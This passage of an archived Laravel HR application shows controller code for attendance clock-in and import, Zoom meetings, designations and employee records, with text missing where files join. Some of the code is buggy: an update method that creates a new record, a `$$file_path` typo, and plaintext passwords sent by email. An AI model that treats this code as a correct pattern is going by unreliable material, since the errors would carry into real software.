AttendanceEmployee::find($attendance->id); // $attendance->clock_out = $endTime; // $attendance->save(); // } // $date = date("Y-m-d"); // $time = date("H:i:s"); // //late // $totalLateSeconds = time() - strtotime($date . $startTime); // $hours = floor($totalLateSeconds / 3600); // $mins = floor($totalLateSeconds / 60 % 60); // $secs = floor($totalLateSeconds % 60); // $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // $checkDb = AttendanceEmployee::where('employee_id', '=', \Auth::user()->id)->get()->toArray(); // if (empty($checkDb)) { // $employeeAttendance = new AttendanceEmployee(); // $employeeAttendance->employee_id = $employeeId; // $employeeAttendance->date = $date; // $employeeAttendance->status = 'Present'; // $employeeAttendance->clock_in = $time; // $employeeAttendance->clock_out = '00:00:00'; // $employeeAttendance->late = $late; // $employeeAttendance->early_leaving = '00:00:00'; // $employeeAttendance->overtime = '00:00:00'; // $employeeAttendance->total_rest = '00:00:00'; // $employeeAttendance->created_by = \Auth::user()->id; // $employeeAttendance->save(); // return redirect()->route('dashboard')->with('success', __('Employee Successfully Clock In.')); // } // foreach ($checkDb as $check) { // $employeeAttendance = new AttendanceEmployee(); // $employeeAttendance->employee_id = $employeeId; // $employeeAttendance->date = $date; // $employeeAttendance->status = 'Present'; // $employeeAttendance->clock_in = $time; // $employeeAttendance->clock_out = '00:00:00'; // $employeeAttendance->late = $late; // $employeeAttendance->early_leaving = '00:00:00'; // $employeeAttendance->overtime = '00:00:00'; // $employeeAttendance->total_rest = '00:00:00'; // $employeeAttendance->created_by = \Auth::user()->id; // $employeeAttendance->save(); // return redirect()->route('dashboard')->with('success', __('Employee Successfully Clock In.')); // } // } else { // return redirect()->back()->with('error', __('Employee are not allow multiple time clock in & clock for every day.')); // } // } public function attendance(Request $request) { $settings = Utility::settings(); if (!empty($settings['ip_restrict']) && $settings['ip_restrict'] == 'on') { $userIp = request()->ip(); $ip = IpRestrict::where('created_by', Auth::user()->creatorId())->whereIn('ip', [$userIp])->first(); if (empty($ip)) { return redirect()->back()->with('error', __('This IP is not allowed to clock in & clock out.')); } } $employeeId = !empty(\Auth::user()->employee) ? \Auth::user()->employee->id : 0; $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); // Find the last clocked out entry for the employee $lastClockOutEntry = AttendanceEmployee::orderBy('id', 'desc') ->where('employee_id', '=', $employeeId) ->where('clock_out', '!=', '00:00:00') ->where('date', '=', date('Y-m-d')) ->first(); $date = date("Y-m-d"); $time = date("H:i:s"); if ($lastClockOutEntry != null) { // Calculate late based on the difference between the last clock-out time and the current clock-in time $lastClockOutTime = $lastClockOutEntry->clock_out; $actualClockInTime = $date . ' ' . $time; $totalLateSeconds = strtotime($actualClockInTime) - strtotime($date . ' ' . $lastClockOutTime); // Ensure late time is non-negative $totalLateSeconds = max($totalLateSeconds, 0); $hours = abs(floor($totalLateSeconds / 3600)); $mins = abs(floor($totalLateSeconds / 60 % 60)); $secs = abs(floor($totalLateSeconds % 60)); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { // If there is no previous clock-out entry, assume no lateness $expectedStartTime = $date . ' ' . $startTime; $actualClockInTime = $date . ' ' . $time; $totalLateSeconds = strtotime($actualClockInTime) - strtotime($expectedStartTime); // Ensure late time is non-negative $totalLateSeconds = max($totalLateSeconds, 0); $hours = abs(floor($totalLateSeconds / 3600)); $mins = abs(floor($totalLateSeconds / 60 % 60)); $secs = abs(floor($totalLateSeconds % 60)); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } $checkDb = AttendanceEmployee::where('employee_id', '=', \Auth::user()->id)->get()->toArray(); if (empty($checkDb)) { $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employeeId; $employeeAttendance->date = $date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $time; $employeeAttendance->clock_out = '00:00:00'; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = '00:00:00'; $employeeAttendance->overtime = '00:00:00'; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->created_by = \Auth::user()->id; $employeeAttendance->save(); return redirect()->back()->with('success', __('Employee Successfully Clock In.')); } foreach ($checkDb as $check) { $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employeeId; $employeeAttendance->date = $date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $time; $employeeAttendance->clock_out = '00:00:00'; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = '00:00:00'; $employeeAttendance->overtime = '00:00:00'; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->created_by = \Auth::user()->id; $employeeAttendance->save(); return redirect()->back()->with('success', __('Employee Successfully Clock In.')); } } public function bulkAttendance(Request $request) { if (\Auth::user()->can('Create Attendance')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('Select Branch', ''); $department = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $department->prepend('Select Department', ''); $employees = []; if (!empty($request->branch) && !empty($request->department)) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->where('branch_id', $request->branch)->where('department_id', $request->department)->get(); } return view('attendance.bulk', compact('employees', 'branch', 'department')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function bulkAttendanceData(Request $request) { if (\Auth::user()->can('Create Attendance')) { if (!empty($request->branch) && !empty($request->department)) { $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); $date = $request->date; $employees = $request->employee_id; $atte = []; foreach ($employees as $employee) { $present = 'present-' . $employee; $in = 'in-' . $employee; $out = 'out-' . $employee; $atte[] = $present; if ($request->$present == 'on') { $in = date("H:i:s", strtotime($request->$in)); $out = date("H:i:s", strtotime($request->$out)); $totalLateSeconds = strtotime($in) - strtotime($startTime); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); //early Leaving $totalEarlyLeavingSeconds = strtotime($endTime) - strtotime($out); $hours = floor($totalEarlyLeavingSeconds / 3600); $mins = floor($totalEarlyLeavingSeconds / 60 % 60); $secs = floor($totalEarlyLeavingSeconds % 60); $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); if (strtotime($out) > strtotime($endTime)) { //Overtime $totalOvertimeSeconds = strtotime($out) - strtotime($endTime); $hours = floor($totalOvertimeSeconds / 3600); $mins = floor($totalOvertimeSeconds / 60 % 60); $secs = floor($totalOvertimeSeconds % 60); $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $overtime = '00:00:00'; } $attendance = AttendanceEmployee::where('employee_id', '=', $employee)->where('date', '=', $request->date)->first(); if (!empty($attendance)) { $employeeAttendance = $attendance; } else { $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employee; $employeeAttendance->created_by = \Auth::user()->creatorId(); } $employeeAttendance->date = $request->date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $in; $employeeAttendance->clock_out = $out; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = ($earlyLeaving > 0) ? $earlyLeaving : '00:00:00'; $employeeAttendance->overtime = $overtime; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->save(); } else { $attendance = AttendanceEmployee::where('employee_id', '=', $employee)->where('date', '=', $request->date)->first(); if (!empty($attendance)) { $employeeAttendance = $attendance; } else { $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employee; $employeeAttendance->created_by = \Auth::user()->creatorId(); } $employeeAttendance->status = 'Leave'; $employeeAttendance->date = $request->date; $employeeAttendance->clock_in = '00:00:00'; $employeeAttendance->clock_out = '00:00:00'; $employeeAttendance->late = '00:00:00'; $employeeAttendance->early_leaving = '00:00:00'; $employeeAttendance->overtime = '00:00:00'; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->save(); } } return redirect()->back()->with('success', __('Employee attendance successfully created.')); } else { return redirect()->back()->with('error', __('Branch & department field required.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function importFile() { return view('attendance.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt,xlsx', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $attendance = (new AttendanceImport())->toArray(request()->file('file'))[0]; $email_data = []; foreach ($attendance as $key => $employee) { if ($key != 0) { echo "
";
                if ($employee != null && Employee::where('email', $employee[0])->where('created_by', \Auth::user()->creatorId())->exists()) {
                    $email = $employee[0];
                } else {
                    $email_data[] = $employee[0];
                }
            }
        }
        $totalattendance = count($attendance) - 1;
        $errorArray    = [];

        $startTime = Utility::getValByName('company_start_time');
        $endTime   = Utility::getValByName('company_end_time');

        if (!empty($attendanceData)) {
            $errorArray[] = $attendanceData;
        } else {
            foreach ($attendance as $key => $value) {
                if ($key != 0) {
                    $employeeData = Employee::where('email', $value[0])->where('created_by', \Auth::user()->creatorId())->first();
                    // $employeeId = 0;
                    if (!empty($employeeData)) {
                        $employeeId = $employeeData->id;


                        $clockIn = $value[2];
                        $clockOut = $value[3];

                        if ($clockIn) {
                            $status = "present";
                        } else {
                            $status = "leave";
                        }

                        $totalLateSeconds = strtotime($clockIn) - strtotime($startTime);

                        $hours = floor($totalLateSeconds / 3600);
                        $mins  = floor($totalLateSeconds / 60 % 60);
                        $secs  = floor($totalLateSeconds % 60);
                        $late  = sprintf('%02d:%02d:%02d', $hours, $mins, $secs);

                        $totalEarlyLeavingSeconds = strtotime($endTime) - strtotime($clockOut);
                        $hours                    = floor($totalEarlyLeavingSeconds / 3600);
                        $mins                     = floor($totalEarlyLeavingSeconds / 60 % 60);
                        $secs                     = floor($totalEarlyLeavingSeconds % 60);
                        $earlyLeaving             = sprintf('%02d:%02d:%02d', $hours, $mins, $secs);

                        if (strtotime($clockOut) > strtotime($endTime)) {
                            //Overtime
                            $totalOvertimeSeconds = strtotime($clockOut) - strtotime($endTime);
                            $hours                = floor($totalOvertimeSeconds / 3600);
                            $mins                 = floor($totalOvertimeSeconds / 60 % 60);
                            $secs                 = floor($totalOvertimeSeconds % 60);
                            $overtime             = sprintf('%02d:%02d:%02d', $hours, $mins, $secs);
                        } else {
                            $overtime = '00:00:00';
                        }

                        $check = AttendanceEmployee::where('employee_id', $employeeId)->where('date', $value[1])->first();
                        if ($check) {
                            $check->update([
                                'late' => $late,
                                'early_leaving' => ($earlyLeaving > 0) ? $earlyLeaving : '00:00:00',
                                'overtime' => $overtime,
                                'clock_in' => $value[2],
                                'clock_out' => $value[3]
                            ]);
                        } else {
                            $time_sheet = AttendanceEmployee::create([
                                'employee_id' => $employeeId,
                                'date' => $value[1],
                                'status' => $status,
                                'late' => $late,
                                'early_leaving' => ($earlyLeaving > 0) ? $earlyLeaving : '00:00:00',
                                'overtime' => $overtime,
                                'clock_in' => $value[2],
                                'clock_out' => $value[3],
                                'created_by' => \Auth::user()->id,
                            ]);
                        }
                    }
                } else {
                    $email_data = implode(' And ', $email_data);
                }
            }
            if (!empty($email_data)) {
                return redirect()->back()->with('status', 'this record is not import. ' . '
' . $email_data); } else { if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totalattendance . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = implode(',', $errorData->toArray()); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } } } } Http/Controllers/ZoomMeetingController.php000064400000026053150364306410015013 0ustar00can('Manage Zoom meeting')) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { $created_by = \Auth::user()->creatorId(); $ZoomMeetings = LocalZoomMeeting::where('created_by', $created_by)->get(); // $this->statusUpdate(); return view('zoom_meeting.index', compact('ZoomMeetings')); } elseif (\Auth::user()->type == 'employee') { $created_by = Auth::user()->creatorId(); $ZoomMeetings = LocalZoomMeeting::where('user_id', \Auth::user()->id)->get(); // $this->statusUpdate(); return view('zoom_meeting.index', compact('ZoomMeetings')); }else { $created_by = Auth::user()->creatorId(); $ZoomMeetings = LocalZoomMeeting::where('user_id', \Auth::user()->id)->get(); // $this->statusUpdate(); return view('zoom_meeting.index', compact('ZoomMeetings')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Zoom meeting')) { $created_by = \Auth::user()->creatorId(); $employee_option = User::where('created_by', $created_by)->pluck('name', 'id'); return view('zoom_meeting.create', compact('employee_option')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Zoom meeting')) { $settings = \App\Models\Utility::settings(); if ($settings['zoom_account_id'] != "" && $settings['zoom_client_id'] != "" && $settings['zoom_client_secret'] != "") { $data['topic'] = $request->title; $data['start_time'] = date('y:m:d H:i:s', strtotime($request->start_date)); $data['duration'] = (int)$request->duration; $data['password'] = $request->password; $data['host_video'] = 0; $data['participant_video'] = 0; try { $meeting_create = $this->createmitting($data); } catch (\Exception $e) { return redirect()->back()->with('error', __('Invalid access token.')); } \Log::info('Meeting'); \Log::info((array)$meeting_create); if (isset($meeting_create['success']) && $meeting_create['success'] == true) { $meeting_id = isset($meeting_create['data']['id']) ? $meeting_create['data']['id'] : 0; $start_url = isset($meeting_create['data']['start_url']) ? $meeting_create['data']['start_url'] : ''; $join_url = isset($meeting_create['data']['join_url']) ? $meeting_create['data']['join_url'] : ''; $status = isset($meeting_create['data']['status']) ? $meeting_create['data']['status'] : ''; $created_by = \Auth::user()->creatorId(); $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'user_id' => 'required', 'start_date' => 'required', 'duration' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $user_id = 0; if (!empty($request->user_id)) { $user_id = implode(',', $request->user_id); } $ZoomMeeting = new LocalZoomMeeting(); $ZoomMeeting->title = $request->title; $ZoomMeeting->meeting_id = $meeting_id; $ZoomMeeting->user_id = $user_id; $ZoomMeeting->password = $request->password; $ZoomMeeting->join_url = $join_url; $ZoomMeeting->start_date = $request->start_date; $ZoomMeeting->duration = $request->duration; $ZoomMeeting->start_url = $start_url; $ZoomMeeting->status = $status; $ZoomMeeting->created_by = $created_by; $ZoomMeeting->save(); // Google celander if ($request->get('synchronize_type') == 'google_calender') { $type = 'zoom_meeting'; $request1 = new GoogleEvent(); $request1->title = $request->title; $request1->start_date = $request->start_date; $request1->end_date = $request->start_date; Utility::addCalendarData($request1, $type); } return redirect()->back()->with('success', __('Meeting created successfully.')); } else { return redirect()->back()->with('error', __('Meeting not created.')); } } else { return redirect()->back()->with('error', __('Please Add Zoom Settings')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(LocalZoomMeeting $ZoomMeeting) { if (\Auth::user()->can('Show Zoom meeting')) { if ($ZoomMeeting->created_by == \Auth::user()->creatorId()) { return view('zoom_meeting.view', compact('ZoomMeeting')); } else { return redirect()->back()->with('error', 'permission Denied'); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function edit(LocalZoomMeeting $ZoomMeeting) { $created_by = \Auth::user()->creatorId(); $employee_option = User::where('created_by', $created_by)->pluck('name', 'id'); return view('zoom_meeting.edit', compact('employee_option', 'ZoomMeeting')); } public function update(Request $request, LocalZoomMeeting $ZoomMeeting) { $created_by = \Auth::user()->creatorId(); $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'user_id' => 'required', // 'password' => 'required', 'start_date' => 'required', 'duration' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $ZoomMeeting = new LocalZoomMeeting(); $ZoomMeeting->title = $request->title; $ZoomMeeting->user_id = $request->user_id; $ZoomMeeting->password = $request->password; $ZoomMeeting->start_date = $request->start_date; $ZoomMeeting->duration = $request->duration; $ZoomMeeting->created_by = $created_by; $ZoomMeeting->save(); return redirect()->back()->with('success', __('Zoom Meeting update Successfully')); } public function destroy(LocalZoomMeeting $ZoomMeeting) { if (\Auth::user()->can('Delete Zoom meeting')) { $ZoomMeeting->delete(); return redirect()->back()->with('success', __('Zoom Meeting Delete Succsefully')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function statusUpdate() { $meetings = LocalZoomMeeting::where('created_by', \Auth::user()->id)->pluck('meeting_id'); foreach ($meetings as $meeting) { $data = $this->get($meeting); if (isset($data['data']) && !empty($data['data'])) { $meeting = LocalZoomMeeting::where('meeting_id', $meeting)->update(['status' => $data['data']['status']]); } } } public function calender() { $created_by = Auth::user()->creatorId(); $ZoomMeetings = LocalZoomMeeting::where('created_by', $created_by)->get(); $today_date = date('m'); $current_month_event = LocalZoomMeeting::where('created_by', \Auth::user()->creatorId())->select('id', 'start_date', 'title', 'created_at')->whereRaw('MONTH(start_date)=' . $today_date)->get(); $arrMeeting = []; foreach ($ZoomMeetings as $zoommeeting) { $arr['id'] = $zoommeeting['id']; $arr['title'] = $zoommeeting['title']; $arr['start'] = date('Y-m-d', strtotime($zoommeeting['start_date'])); // $arr['start'] =date('Y-m-d',strtotime($zoommeeting['start_date'])).'T'.date('h:m:s',strtotime($zoommeeting['start_date'])); $arr['className'] = 'event-primary'; $arr['url'] = route('zoom-meeting.show', $zoommeeting['id']); $arrMeeting[] = $arr; } $calandar = array_merge($arrMeeting); //$calandar = str_replace('"[', '[', str_replace(']"', ']', json_encode($calandar))); $calandar = json_encode($calandar); return view('zoom_meeting.calendar', compact('calandar', 'current_month_event')); } public function get_zoom_meeting_data(Request $request) { $arrayJson = []; if ($request->get('calender_type') == 'google_calender') { $type = 'zoom_meeting'; $arrayJson = Utility::getCalendarData($type); } else { $data = LocalZoomMeeting::where('created_by', \Auth::user()->creatorId())->get(); foreach ($data as $val) { $end_date = date_create($val->end_date); date_add($end_date, date_interval_create_from_date_string("1 days")); $arrayJson[] = [ "id" => $val->id, "title" => $val->title, "start" => $val->start_date, "end" => date_format($end_date, "Y-m-d H:i:s"), "className" => $val->color, "textColor" => '#FFF', "allDay" => true, "url" => route('zoom-meeting.show', $val['id']), ]; } } return $arrayJson; } } Http/Controllers/DesignationController.php000064400000014540150364306410015020 0ustar00can('Manage Designation')) { $designations = Designation::where('created_by', '=', \Auth::user()->creatorId())->with('department')->get(); return view('designation.index', compact('designations')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Designation')) { $branchs = Branch::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branchs->prepend('Select Branch', ''); $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments->prepend('Select Department', ''); return view('designation.create', compact('branchs', 'departments')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Designation')) { $validator = \Validator::make( $request->all(), [ 'branch_id' => 'required', 'department_id' => 'required', 'name' => 'required|max:20', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } try { $branch = Department::where('id', $request->department_id)->where('created_by', '=', Auth::user()->creatorId())->first()->branch->id; } catch (Exception $e) { $branch = null; } $designation = new Designation(); $designation->branch_id = $branch; $designation->department_id = $request->department_id; $designation->name = $request->name; $designation->created_by = \Auth::user()->creatorId(); $designation->save(); return redirect()->route('designation.index')->with('success', __('Designation successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Designation $designation) { return redirect()->route('designation.index'); } public function edit(Designation $designation) { if (\Auth::user()->can('Edit Designation')) { if ($designation->created_by == \Auth::user()->creatorId()) { if (!empty($designation->branch_id)) { $branchs = Branch::where('id', $designation->branch_id)->first()->pluck('name', 'id'); $branchs->prepend('Select Branch', ''); } else { $branchs = Branch::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branchs->prepend('Select Branch', ''); } $departments = Department::where('id', $designation->department_id)->first()->pluck('name', 'id'); $departments->prepend('Select Department', ''); return view('designation.edit', compact('designation', 'departments', 'branchs')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Designation $designation) { if (\Auth::user()->can('Edit Designation')) { if ($designation->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'branch_id' => 'required', 'department_id' => 'required', 'name' => 'required|max:20', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } try { $branch = Department::where('id', $request->department_id)->where('created_by', '=', Auth::user()->creatorId())->first()->branch->id; } catch (Exception $e) { $branch = null; } $designation->name = $request->name; $designation->branch_id = $branch; $designation->department_id = $request->department_id; $designation->save(); return redirect()->route('designation.index')->with('success', __('Designation successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Designation $designation) { if (\Auth::user()->can('Delete Designation')) { $employee = Employee::where('designation_id', $designation->id)->get(); if (count($employee) == 0) { if ($designation->created_by == \Auth::user()->creatorId()) { $designation->delete(); return redirect()->route('designation.index')->with('success', __('Designation successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->route('designation.index')->with('error', __('This designation has employees. Please remove the employee from this designation.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/EmployeeController.php000064400000121624150364306410014335 0ustar00can('Manage Employee')) { if (Auth::user()->type == 'employee') { $employees = Employee::where('user_id', '=', Auth::user()->id)->get(); } else { $employees = Employee::where('created_by', \Auth::user()->creatorId())->with(['branch', 'department', 'designation', 'user'])->get(); } return view('employee.index', compact('employees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Employee')) { $company_settings = Utility::settings(); $documents = Document::where('created_by', \Auth::user()->creatorId())->get(); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches->prepend('Select Branch', ''); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments->prepend('Select Department', ''); $designations = Designation::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $designations->prepend('Select Designation', ''); $employees = User::where('created_by', \Auth::user()->creatorId())->get(); $employeesId = \Auth::user()->employeeIdFormat($this->employeeNumber()); return view('employee.create', compact('employees', 'employeesId', 'departments', 'designations', 'documents', 'branches', 'company_settings')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Employee')) { $rules = [ 'name' => 'required', 'dob' => 'required', 'gender' => 'required', 'phone' => 'required', 'address' => 'required', 'email' => 'required|unique:users', 'password' => 'required', 'branch_id' => 'required', 'department_id' => 'required', 'designation_id' => 'required', 'document.*' => 'required', ]; $rules['biometric_emp_id'] = [ 'required', Rule::unique('employees')->where(function ($query) { return $query->where('created_by', Auth::user()->creatorId()); }) ]; $validator = \Validator::make( $request->all(), $rules ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->withInput()->with('error', $messages->first()); } $objUser = User::find(\Auth::user()->creatorId()); $total_employee = $objUser->countEmployees(); $plan = Plan::find($objUser->plan); $date = date("Y-m-d H:i:s"); $default_language = DB::table('settings')->select('value')->where('name', 'default_language')->where('created_by', \Auth::user()->creatorId())->first(); // new company default language if ($default_language == null) { $default_language = DB::table('settings')->select('value')->where('name', 'default_language')->first(); } if ($request->hasFile('document')) { foreach ($request->document as $key => $document) { $image_size = $request->file('document')[$key]->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('document')[$key]->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('document')[$key]->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/document/'; $image_path = $dir . $fileNameToStore; $path = \App\Models\Utility::upload_coustom_file($request, 'document', $fileNameToStore, $dir, $key, []); if ($path['flag'] == 1) { $url = $path['url']; } else { // return redirect()->back()->with('error', __($path['msg'])); return redirect()->back()->with('error', __($path['msg'])); } } } } if ($total_employee < $plan->max_employees || $plan->max_employees == -1) { $user = User::create( [ 'name' => $request['name'], 'email' => $request['email'], 'password' => Hash::make($request['password']), 'type' => 'employee', 'lang' => !empty($default_language) ? $default_language->value : 'en', 'created_by' => \Auth::user()->creatorId(), 'email_verified_at' => $date, ] ); $user->save(); $user->assignRole('Employee'); } else { return redirect()->back()->with('error', __('Your employee limit is over, Please upgrade plan.')); } if (!empty($request->document) && !is_null($request->document)) { $document_implode = implode(',', array_keys($request->document)); } else { $document_implode = null; } $employee = Employee::create( [ 'user_id' => $user->id, 'name' => $request['name'], 'dob' => $request['dob'], 'gender' => $request['gender'], 'phone' => $request['phone'], 'address' => $request['address'], 'email' => $request['email'], 'password' => Hash::make($request['password']), 'employee_id' => $this->employeeNumber(), 'biometric_emp_id' => !empty($request['biometric_emp_id']) ? $request['biometric_emp_id'] : '', 'branch_id' => $request['branch_id'], 'department_id' => $request['department_id'], 'designation_id' => $request['designation_id'], 'company_doj' => $request['company_doj'], 'documents' => $document_implode, 'account_holder_name' => $request['account_holder_name'], 'account_number' => $request['account_number'], 'bank_name' => $request['bank_name'], 'bank_identifier_code' => $request['bank_identifier_code'], 'branch_location' => $request['branch_location'], 'tax_payer_id' => $request['tax_payer_id'], 'created_by' => \Auth::user()->creatorId(), ] ); if ($request->hasFile('document')) { foreach ($request->document as $key => $document) { $image_size = $request->file('document')[$key]->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('document')[$key]->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('document')[$key]->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/document/'; $image_path = $dir . $fileNameToStore; $path = \App\Models\Utility::upload_coustom_file($request, 'document', $fileNameToStore, $dir, $key, []); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } $employee_document = EmployeeDocument::create( [ 'employee_id' => $employee['employee_id'], 'document_id' => $key, 'document_value' => $path['url'], 'created_by' => \Auth::user()->creatorId(), ] ); $employee_document->save(); } } } $setings = \App\Models\Utility::settings(); if ($setings['new_employee'] == 1) { $department = Department::find($request['department_id']); $branch = Branch::find($request['branch_id']); $designation = Designation::find($request['designation_id']); $uArr = [ 'employee_email' => $user->email, 'employee_password' => $request->password, 'employee_name' => $request['name'], 'employee_branch' => !empty($branch->name) ? $branch->name : '', 'department_id' => !empty($department->name) ? $department->name : '', 'designation_id' => !empty($designation->name) ? $designation->name : '', ]; $resp = \App\Models\Utility::sendEmailTemplate('new_employee', [$user->id => $user->email], $uArr); return redirect()->route('employee.index')->with('success', __('Employee successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } return redirect()->route('employee.index')->with('success', __('Employee successfully created.')); // return redirect()->route('employee.index')->with('success', __('Employee successfully created.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function edit($id) { $id = Crypt::decrypt($id); if (\Auth::user()->can('Edit Employee')) { $documents = Document::where('created_by', \Auth::user()->creatorId())->get(); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $designations = Designation::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employee = Employee::find($id); $employeesId = \Auth::user()->employeeIdFormat($employee->employee_id); return view('employee.edit', compact('employee', 'employeesId', 'branches', 'departments', 'designations', 'documents')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $id) { if (\Auth::user()->can('Edit Employee')) { $employee = Employee::findOrFail($id); $rules = [ 'name' => 'required', 'dob' => 'required', 'gender' => 'required', 'phone' => 'required', 'address' => 'required', ]; if ($request->has('biometric_emp_id') && $employee->biometric_emp_id != $request->biometric_emp_id) { $rules['biometric_emp_id'] = [ 'required', Rule::unique('employees')->where(function ($query) { return $query->where('created_by', Auth::user()->creatorId()); }) ]; } $validator = \Validator::make( $request->all(), $rules ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if ($request->document) { foreach ($request->document as $key => $document) { $employee_document = EmployeeDocument::where('employee_id', $employee->employee_id)->where('document_id', $key)->first(); if (!empty($document)) { //storage limit $dir = 'uploads/document/'; if (!empty($employee_document)) { $file_path = $dir . $employee_document->document_value; } $image_size = $request->file('document')[$key]->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { if (!empty($$file_path)) { Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); } $filenameWithExt = $request->file('document')[$key]->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('document')[$key]->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/document/'; $image_path = $dir . $fileNameToStore; $path = \App\Models\Utility::upload_coustom_file($request, 'document', $fileNameToStore, $dir, $key, []); if (!empty($employee_document)) { if ($employee_document->document_value) { \File::delete(storage_path('uploads/document/' . $employee_document->document_value)); } $employee_document->document_value = $fileNameToStore; $employee_document->save(); } else { $employee_document = new 